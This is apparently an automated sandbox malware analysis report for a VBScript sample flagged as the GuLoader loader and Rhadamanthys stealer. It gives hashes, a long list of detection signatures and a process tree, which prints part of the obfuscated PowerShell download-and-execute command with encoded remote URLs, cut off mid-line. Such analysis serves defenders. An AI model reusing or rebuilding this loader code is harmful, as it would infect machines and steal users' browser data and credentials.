Edit tour
Windows
Analysis Report
t5lpvahkgypd7wy.vbs
Overview
General Information
| Sample name: | t5lpvahkgypd7wy.vbs |
| Analysis ID: | 1578176 |
| MD5: | 6c00d9b105627ab0029e38281479bb32 |
| SHA1: | 21160194b906ca4021aaf9e697d4150f5c958773 |
| SHA256: | e2fa4587b8b7ed60de25773567ac1710a41cc6a3eb152118dd1b074ab0fcf8e9 |
| Tags: | 185-236-228-92petrofacvbsuser-JAMESWT_MHT |
| Infos: |   |
 | |
Detection
GuLoader, RHADAMANTHYS
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected RHADAMANTHYS Stealer
.NET source code contains potential unpacker
AI detected suspicious sample
Allocates memory in foreign processes
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Dllhost Internet Connection
Sigma detected: Msiexec Initiated Connection
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 6924 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\t5lpv ahkgypd7wy .vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
WMIC.exe (PID: 6296 cmdline: wmic diskd rive get c aption,ser ialnumber MD5: C37F2F4F4B3CD128BDABCAEB2266A785) 
conhost.exe (PID: 6260 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 796 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "echo $Utt ; function Pokerens( $Slesviger ne){$Beret =2;$Smnden es=$Beret; do{$Triera rchal+=$Sl esvigerne[ $Smndenes] ;$Smndenes +=3} until (!$Slesvig erne[$Smnd enes])$Tri erarchal}f unction cr anch($Eoni sm){ .($Be store) ($E onism)}$Gu rudyrkelse =Pokerens 'PaNWaEcoT .r.BaW';$G urudyrkels e+=Pokeren s 'PrESmbA pC.elDiiNo ECynSoT';$ Ateist=Pok erens 'seM AnoSkzN i rl ilSta b /';$Nonamb ulaties=Po kerens 'Fo T,olExsUn1 ,p2';$ansi gtslses=' E[P.NNoeFo TAd.DaSEnE parrevWoi EcWoEF pBe oKoI WNL t damFlAReNB aaDkGsce a rUd]Sa:,e: RaSF E ScF oUThR.iiFo TGyY spUnR InoInT Po lCB o iLUn =Mu$ unUdO t,n Da FM B Uc,lDrA TUdiPreGeS ';$Ateist+ =Pokerens 'Ba5Fo. h0 p No( W V iBen,ad To awSks . L eN .T V Ha 1In0 a.Nu0 Co; , LyWM oi nAc6Ti4 Ca;Fo stxL 6Gr4 H;Co S,r Sv :. r1 .3.n1.o .R 0 u) U ,nG e LcPi kInoGo/Le2 Hi0Mi1M 0H a0Ba1Fo0jo 1No jF SiB or LeNyf o M,xPr/Ei1C y3Sf1W .L 0';$Overst reger167=P okerens 'B huSkS IeK RRg-PeaS.g Noe N Tt'; $Forudbest emmende=Po kerens 'bl hKot.lt,vp Res :.b/ D /viwB.wmiw ..,rpTiiR ,nB,eC aRr pAmp Ql Te GtMoeC cP uhC .S,aAu e / .g.pbS t/ZlINinFr tAfe r,osB op AiVanCo opau sUn.D mMls FoSt >GahAdt Kt ,p UsSt:A l/ S/BewVe wLawO .Una agrC e,rcV eo as AaIc lCedBlasat u ArSpe . . Hi tBo/K ugPlbKo/ S IInnArtHae I.rS,s Mp SiT n So s uAfsVa..em Lysuno';$W itchwife=P okerens 'Q u>';$Besto re=Pokeren s 'J iTrEI nx';$semin uria='Fart her';$Tram eled228='\ Lkk.Ast';c ranch (Pok erens 'El$ MagSkL,rOM ebExaGaLTa :StaRip aP kaLHoA uKl d.si dn rG ColFry T=L $M eGeN R V A:Evasop pPMaDC.AH utTuaH + B $ St .ROmA ZoM ceTrlp aEVeD E2Ba 2U 8');cra nch (Poker ens 'Af$ P GUdlToorab .AF lHy: Ne sR aGEl =S $OvfdiO ,eRFoU PD hbPrE s t Sexim MSie SpNV dInE I.,rsS pPu l ni Gt (, a$LaW.uIEt t sC lHSuW Udi Tf KE N)');cranc h (Pokeren s $ansigts lses);$For udbestemme nde=$Erg[0 ];$Bestand ig=(Pokere ns 'Vi$ .G DilLeOUbBG raPllVr:fr SMooA oM T reLKoe ,SB eSAe=C,NCi ea.w u- O JBsaJ BEAn C eTRe .hS YMasRuTE e emFo.,e$ .iGApuTuRE cuF d SyXy Rvek.ke tL ,es ae');c ranch ($Be standig);c ranch (Pok erens 'Sa$ SkSHeoTroL ,t UlT e . sS.sBe. mH Paeska.ed SeIsr sUd[ Pe$DrOSuv e Sr Dsunt rBle cgW eS r e1Op6 Un7 r]S,= P$.eARetSu eBeiD,sBit ');$Apocop e=Pokerens 'Ps$TuSzy oPro st.pl .eeexsBesm i. SD Aotr wImn lE.oB oa,rd KFDi i al TeS ( Sk$A F So, arimuApd H b.keBrsNot B.eFom mun e tnNedAve Ce, $.aC o oNumBaeUnd Oi leHutR etL eNo)'; $Comediett e=$Applaud ingly;cran ch (Pokere ns ' e$ og el o Zb H a DLPh:Hau OrNC pInR oi Ks noF. nDiaHabAfL U E .1B 2D a0 r=Fe(Po TSuET,sLgT Re-BuP .a tS,HSt Ca$ Mac HODim, jESuD tITu eSatSitRee Sr)');whil e (!$Unpri sonable120 ) {cranch (Pokerens